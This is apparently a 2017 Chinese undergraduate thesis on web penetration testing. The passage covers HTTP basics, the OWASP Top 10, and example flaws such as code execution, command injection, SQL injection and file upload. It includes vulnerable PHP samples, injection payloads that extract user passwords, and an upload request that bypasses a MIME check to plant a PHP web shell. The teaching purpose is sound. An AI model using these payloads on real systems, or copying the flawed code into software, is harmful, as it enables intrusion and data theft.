web安全渗透测试技术实践.docx
《web安全渗透测试技术实践.docx》由会员分享,可在线阅读,更多相关《web安全渗透测试技术实践.docx(52页珍藏版)》请在冰豆网上搜索。
web安全渗透测试技术实践
院系
学生学号
编号
本科毕业设计
题 目web安全渗透测试技术实践
学生姓名 cui0x01
专业名称
指导教师
2017年 5 月 6 日
WEB安全渗透测试技术实践
摘要:
随着互联网产业的高速发展,互联网对人们生活的改变越来越大,人们在购物时可以使用电子支付,政府在办公时可以使用电子政务系统,大家在学习的时候可以看优质的网络课程,当然互联网给人们带来的便利不仅如此,现在,整个传统行业都在网互联网+靠近,诚然,互联网给传统行业添加了活力。
但网络是把双刃剑,在给人们带来方便的同时也会带来一些不利的影响,比如说网络信息问题[1],一些不法分子通过入侵网络上的web应用系统,对个人造成信息泄露,对企业造成商业机密泄露导致财产损失,对国家造成安全威胁。
近几年国家高度重视网络安全,打击网络犯罪,此片文章介绍了web的组成和常见web漏洞原理,提高企业和个人警惕性,让企业个人更好保护自己的财产和隐私,身为每位公民维护网络世界的纯净和平每个人应尽的义务和责任。
关键词:
web安全;网络安全;渗透测试
Websecuritypenetrationtestingtechnologypractice
Abstract:
WiththerapiddevelopmentofInternet,theInternetchangestopeople'slivesmoreandmorebig,peoplecanuseelectronicpaymentwhenshopping,thegovernmentcanusetheelectronicgovernmentaffairssystemintheoffice,youcanseewhenlearningqualityofnetworkcurriculum,ofcourse,theInternetbringconveniencetopeoplenotonlythat,butnow,thetraditionalindustriesinnetInternet+near,admittedly,theInternettothetraditionalindustryhasaddedvitality.Butthenetworkisadouble-edgedsword,inthenetworkbringsusconvenienceandatthesametime,somecriminalsthroughtheinvasionofwebapplicationsystemonthenetwork,forpersonalinformation,commercialsecretstotheenterprisehasresultedinpropertydamage,damagetonationalsecuritythreats.Countryattachesgreatimportancetothenetworksecurityinrecentyears,crackdownonInternetcrime,thisarticleintroducesthecompositionoftheweb,andcommonwebvulnerabilityprinciple,improvetheenterpriseandindividualvigilance,makeenterprisepeoplebetterprotecttheprivacyoftheirownpropertyandaseachcitizentomaintainthenetworkworldofpurityandpeaceeveryone'sdutyandresponsibility.
Keywords:
WebSecurity;networksecurity;penetrationtesting
目 录
1 绪论
1.1 研究背景及意义
随着互联网的发展,互联网+给各行业带来新的升级的同时,传统行业的业务在往向互联网上进行迁移【2】。
随着web应用的普及,个人,企业及政府都有自己的web系统,同时电子商务,电子政务,电子支付等信息化的产物为大家带来非常大的便利。
但凡事都是有利有弊的,在信息化带来便利的同时,也存在潜在威胁,一些不法分子通过攻击web应用获取非法利益,大量个人信息泄露,通过泄露的个人信息登录支付宝,或银行卡造成财产损失。
企业的商业信息被盗走卖到竞争对手手上,造成企业专利财产等损失。
国家的机密文件泄露,会给国家造成不可估量的损失,严重危害国家安全。
下表1.1列举近年来影响较大的安全事件。
表1.1安全事件
事件
造成影响
“棱镜门”事件
斯诺登曝光的美国的监控计划[3],对世界信息安全敲响警钟。
OpenSSL“心脏出血”
2014年最知名的安全漏洞“心脏出血”,黑客利用该漏洞可获取全球近三成以https开头网址的用户登录帐号[4]。
12306数据泄露事件
入侵者通过“撞库”入侵,超过13万条用户数据被泄露出去,对个人出行造成不便。
圆通泄露客户百万信息
商业信不严重不安全,快递行业信息泄密愈演愈烈。
中国人寿近百万份保单信息泄露
保单包含个人资料全面,泄露这些资料非常危险。
......
......
WEB渗透测试通过站在入侵者的立场,尽可能完整的发动技术攻击和手段对目标应用安全性做深入测试,发现目标系统的最脆弱环节,能够让用户直观的看到当前应用的脆弱性、可能造成的影响、以及采取必要的防护措施。
1.2 WEB安全现状
WEB安全作为网络安全分支之一,近几年来Web系统遭到入侵攻击,数据泄密,页面被篡改数量巨大。
这些被盗数据或者机密文件对个人企业或者国家机构造成很大的损失。
由于近些几年国家重视网络安全,并且颁布相关法律,很少有学校开相关课程,web安全工程师挺缺人,很多互联网公司保护自己公司财产,自己都设有SRC(应急响应中心),在人员招聘上重金难聘,足以说明目前web安全是一个很大缺口的市场,在未来的物联网世界,物联网安全很有前景。
应用漏洞的研究组织OWASP组织在2013年发布了web应用前10大风险漏洞OWASPTOP10【10】,例举了2010-2013年期间针对web攻击频率最高的十大攻击方法。
表1.2 OWASPTOP10-2013
序号
漏洞名称
A1
注入
A2
失效的身份认证和会话管理
A3
跨站脚本(XSS)
A4
不安全的直接对象引用
A5
安全配置错误
A6
敏感信息泄漏
A7
功能级访问控制缺失
A8
跨站请求伪造(CSRF)
A9
使用含有已知漏洞的组件
A10
未验证的重定向和转发
目前随着国家高度重视网络安全,在此巨大市场缺口的下,国内安全公司如雨后春笋般拔地而起,原先一些攻击者惧于现在的网络安全法,现在已经洗白从事安全维护工作,壮大了安全公司,随着这个行业被认可,商业化市场缺口推动着安全公司对技术的追求。
这里列举了一些国内常见的安全厂商和产品。
表1.3国内常见安全厂商和产品
厂商名称
产品名称
360
360主机卫士
知道创宇
乐安全
安全狗
安全狗主机卫士
绿盟科技
Web应用防火墙
深信服
下一代防火墙
启明星辰
WAF10000
1.3 本文结构
第一章是绪论说明了对渗透技术实践的背景和意义,以及目前web安全的现状。
第二章是对web组成结构的了解,先知道是什么东西,其次再对web方面的常见漏洞原理分析。
第三章古人说工欲善其事必先利其器,这张介绍了一些辅助工具,再手工渗透的时候借助工具可以提高效率。
第四章是完整的web渗透流程,将零碎的知识串起来,从而达到一个层次的提升。
第五章是一个实践的项目,实践是查验理论的独一标准,通过实践,可以大大提高自身的技术和兴趣。
2 web渗透测试理论基础
2.1 web应用组成
2.1.1 客户端
HTML语言简介
HTML是这几个(HyperTextMark-upLanguage)英文首字母大写的缩写,用中文翻译过来就是文本标记语言,通常我们所说上网冲浪中“冲浪”访问的页面主要就是用这种语言写的。
HTML语言通常可以表示文字、图片、动画片、音乐、链接等。
其组成部分主要由head、Body组成。
CSS是CascadingStyleSheet,这三个英文首字母大写的缩写。
中文翻译为层叠样式表。
是用来增强网页排版和网页内容优化的一种语言。
可以这么说,HTML的标签是定义网站页面的内容,CSS标签是控制网站页面的内容如何显示。
Javascript是一种浏览器端的脚本的言语,可以通过浏览器直接执行,广泛用于web前段。
2.1.2 服务端及数据库
PHP语言简介
PHP是由HypertextPreprocessor缩写而得到的,中文翻译过来“超文本处理”是一种很优秀的服务端脚本语言。
很多大型网站,博客系统,购物系统都是用php语言编写的,通常php+mysql+apche+liunx是非常好的组合。
ASP/ASP.NET语言简介
ASP(ActiveServerPages),其实是一套微软开发的服务器端脚本环境,是创建动态网页的一个很好的工具【5】,ASP.NET是ASP的升级版,不过ASP.NET比ASP更加优秀,ASP.NET具有网站开发的解决方案,包括验证身份,缓存网页等。
其部署和调试非常简单,通常和微软出的web容器IIS在数据库sqlserver搭配较好。
JSP语言简介
JSP是sun公司开发的一种动态网页技术,JSP是跨平台的,他做出的应用可以分别在类unix和win平台上跑起来。
JSP的全称是JavaServerPages,是由HTML代码和嵌入到其中的JAVA代码组成的。
MYSQL/SQLSERVER/ORCLE
这三个都是关系型数据库,其中MYSQL为开源的数据库,SQLSERVER是微软研发出来的数据库,ORCLE为甲骨文公司的数据库。
他们都是存储数据的仓库,都可以建立数据库,数据库里面建立数据表,数据表里面有行和列,有不同的权限,可以操纵的数据库不一样。
2.1.3 web服务器软件及操作系统
iiS的全称是InternetInformationServices,中文翻译为互联网信息服务,主要是提供web服务,用于放置ASP,ASP.NET语言编写的脚本,为用户提供网上冲浪服务,网上学习,购物等。
目前最新的版本是IIS8,IIS5和IIs6都有相应的文件漏洞,配合文件上传漏洞,对web安全的危害大,可导致直接拿下web站点,进一步提权入侵操作系统,从而渗透到内网。
漏洞出现后微软官方也出过相关补丁,建议升级最新的IIS组件。
APCHE
ApacheHTTPServer(简称Apache)是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其跨平台和安全性被广泛使用【6】。
NGINX
属于一款轻型web服务器软件,占用内存较小,性能较好,中国许多厂商都使用使用nginx的站点有:
XX()、京东()、新浪()、腾讯()、淘宝()等。
WINDOWS类服务器操作系统
Windows服务器是微软公司研发出来的一款操作系统,服务器和我们平时用的windows操作系统差不多一样,只是在某些服务功能上比普通的操作系统好点,在硬件资源上需要用的资源用以提供各种服务。
LINUX类操作系统
也是操作系统的一种,它的最大的优点就是提供源代码开放,可以使用很多免费开源软件。
大多数web容器都会部署在linux上面,因为liunx操作系统稳定安全,占用硬件资源较小,企业用来花费少,在此基础上衍生出很多成功版本如redhat,ubuntu,centos非常成功。
2.2 HTTP协议简介
图1http请求和发送
HTTP协议说明
HTTP是由HyperTextTransferProtocol这三个英文首字母大写缩写而得到的,这个协议是负责web客户端和服务端通信,一般版本是1.0,由美国人TedNelson发明的,他想发明一种处理计算机文本的方法,为HTTP协议发展奠定了基础。
HTTP请求结构
图2HTTP请求结构图
一个请求由四个部分组成:
请求行、请求头标、空行和请求数据
1.请求行:
是由请求方法、请求URI和HTTP版本组成。
例如:
GET/index.htmlHTTP/1.1
HTTP协议规定了8种请求的协议:
GET请求是一个简单的请求方法;HEAD请求是与GET方法类似,服务器那边只返回状态行和头标,不返回所要请求的文档;POST请求向服务器传送数据流;PUT请求是服务器保存请求数据作为指定URI新内容的请求;DELETE请求服务器请求删除URI中命名的1资源请求的一种方式;OPTIONS请求是关于服务器支持的请求方法信息的请求;TRACE请求是Web服务器反馈Http请求和其头标的请求;CONNECT请求是已文档化但当前未实现的一个方法,预留做隧道处理。
2.请求头标:
由关键字和值对应组成,每行一对,关键字和关键值之间用冒号分里开,请求头标通知服务器有关于客户端的功能和标识,典型的请求头标有【7】:
User-Agent是客户端浏览器的标识;Accept是客户端可识别的内容类型列表;Content-Length是附加到请求的数据字节数。
3.空行:
最后一个响应头标之后是一个空行,发送回车符和退行,表明服务器以下不再有头标【8】。
4.请求数据:
通过POST传送数据,经常使用的是Content-Length和Content-Type头标这两种标识。
HTTP响应结构如下图所示:
图3HTTP响应头
一个响应由四个部分组成;状态行、响应头标、空行、响应数据
1.状态行:
响应代码和响应描述和HTTP版本这三个标记组成。
HTTP版本:
通告客户端服务端能是别的版本。
响应代码是3位的数字代码,用来指示请求状态(成功或者失败);响应描述是解释响应代码。
例如:
HTTP/1.1200OK:
HTTP响应码由1xx:
信息,收到请求,表示继续处理;2xx:
成功,表示请求成功;3xx:
重定向,重新修改请求的url;4xx:
客户端出现错误。
2.响应头标是类似与请求头标,里面包含服务的相关信息。
3.空行是表明服务器以下不再有头标,最后一个响应头标之后是一个空行,发送回车符和退行。
4.响应数据是html文档相关的东西,本身需要接收的数据。
2.3 web应用常见漏洞分析
2.3.1 代码执行和命令注入
代码执行,就是在web服务软件中任意执行恶意破坏的代码。
命令注入,就是在可以在服务端执行操作恶意系统的命令。
这两种情况都是由于代码/命令过滤不严谨所致。
代码执行漏洞服务端的代码演示。
php
$myvar="varname";
$x=$_GET['arg'];
eval("\$myvar=$x;");
?
>
攻击者可以通过如下Payload实施代码注入:
/dmzx.php?
arg=1;phpinfo()
图4代码执行演示
命令注入的源代码展示
PHP语言提供了一些用来执行外部应用程序的函数,例如:
exec()system(),passthru(),和shell_exec()等函数。
php
if(isset($_POST['submit'])){
$target=$_REQUEST['ip'];
//DetermineOSandexecutethepingcommand.
if(stristr(php_uname('s'),'WindowsNT')){
$cmd=shell_exec('ping'.$target);
echo'
'.$cmd.'
';
}else{
$cmd=shell_exec('ping-c3'.$target);
echo'‘’
'.$cmd.'‘’
';
}
}
?
>
这段代码中并未对ip这个参数进行过滤,导致再输入时可以输入多个命令。
图5命令注入1
图6命令注入2
代码执行和命令注入防范思路。
尽量不要使用系统命令执行,在进入执行命令函数之前,变量一定要做好过滤,对敏感字符进行转义,在使用动态函数之前,确保使用的函数是指定函数之一,对php语言来说,不能完全控制的危险函数最好不要使用。
2.3.2 SQL注入攻击
SQL注入漏洞是一种常见的web安全漏洞,它的本质原因是在和数据库交互数据的时候,编程人员写的代码过滤不严谨,攻击者经常利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
SQL注入类型可分为3种,数字型注入,搜索型注入,字符型注入。
数字型注入:
and1=1;select*fromnewswhereid=1and1=1
字符型注入:
select*fromnewswherechr='name';select*fromnewswherechr='name'and1=1''
搜索型注入:
select*fromnewswheresearchlike'%汉字%';select*fromnewswheresearchlike'%汉字%'and'%1%'='%1%'
判断注入点
判断条件:
第一必须有参数,第二必须要有带入数据库查询。
例如:
可能存在注入。
进一步通过逻辑注入语句进行判定结果,一定要用逻辑判断。
and1=1执行语句select*frompaperswhereid=1and2=2页面返回显示正常。
and1=2;执行语句select*frompaperswhereid=1and1=2页面返回显示不正常。
图7正常页面对比不正常页面
php+mysql手工注入演示('unionselectuser(),database()#)
图8注入演示1
php+mysql手工注入演示('unionselect1,2#)
图9注入演示2
php+mysql手工注入演示('unionselectuser,passwordfromusers#)
图10注入演示3
2.3.3 文件上传
上传检测流程概述
图11上传演示1
文件上传检测方法通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求并同意后,用户与web服务器将建立连接,并传输dafa【9】。
通常在文件上传过程中会检测下面红颜色标出来的代码。
图12上传演示2
A客户端对前端语言javascript检测(通常为检测需要上传的文件扩展名)
B服务端对所上传文件的MIME类型检测(检测Content-Type内容)
C服务端对所上传文件的目录路径检测(检测跟path参数相关的内容)
D服务端对所上传文件的文件扩展名检测(检测跟文件extension相关的内容)
E服务端对所上传文件的文件内容检测(检测内容是否合法或含有恶意代码)客户端检测绕过(javascript检测)
图13上传演示3
客户端检测主要是通过前端javascript脚本检测文件的后缀是否为允许的格式。
服务端检测绕过(MIME类型检测)
图14上传演示4
假如服务器端上的upload.php代码如下
php
if($_FILES['userfile']['type']!
="image/gif"){//检测Content-type
echo"Sorry,weonlyallowuploadingGIFimages";
exit;
}
$uploaddir='uploads/';
$uploadfile=$uploaddir.basename($_FILES['userfile']['name']);
if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){
echo"Fileisvalid,andwassuccessfullyuploaded.\n";
}else{
echo"Fileuploadingfailed.\n";
}
?
>
然后我们可以将request包的Content-Type修改
POST/upload.phpHTTP/1.1
TE:
deflate,gzip;q=0.3
Connection:
TE,close
Host:
localhost
User-Agent:
libwww-perl/5.803
Content-Type:
multipart/form-data;boundary=xYzZY
Content-Length:
155
--xYzZY
Content-Disposition:
form-data;name="userfile";filename="shell.php"
Content-Type:
image/gif(原为Content-Type:
text/plain)
phpsystem($_GET['command']);?
>
--sSxYzZY--
收到服务器端返回来的应答
HTTP/1.1200OK
Date:
Thu,31May201114:
02:
11GMT
Server:
Apache2.3
Content-Length:
59
Connection:
close
Content-Type:
text/html
Fileisvalid,andwassuccessfullyuploaded.
可以看到我们成功绕过了服务端MIME类型检测。
像这种服务端检测http包的Content-Type都可以用这种类似的方法来绕过检测。
图15上传演示5
服务器检测绕过(目录路径检测)
图16上传演示6
目录路径检测,一般就是检测上传的路径是否合法,稍微有一些特殊一点的都没有防御。
比如比较新的fckeditorphp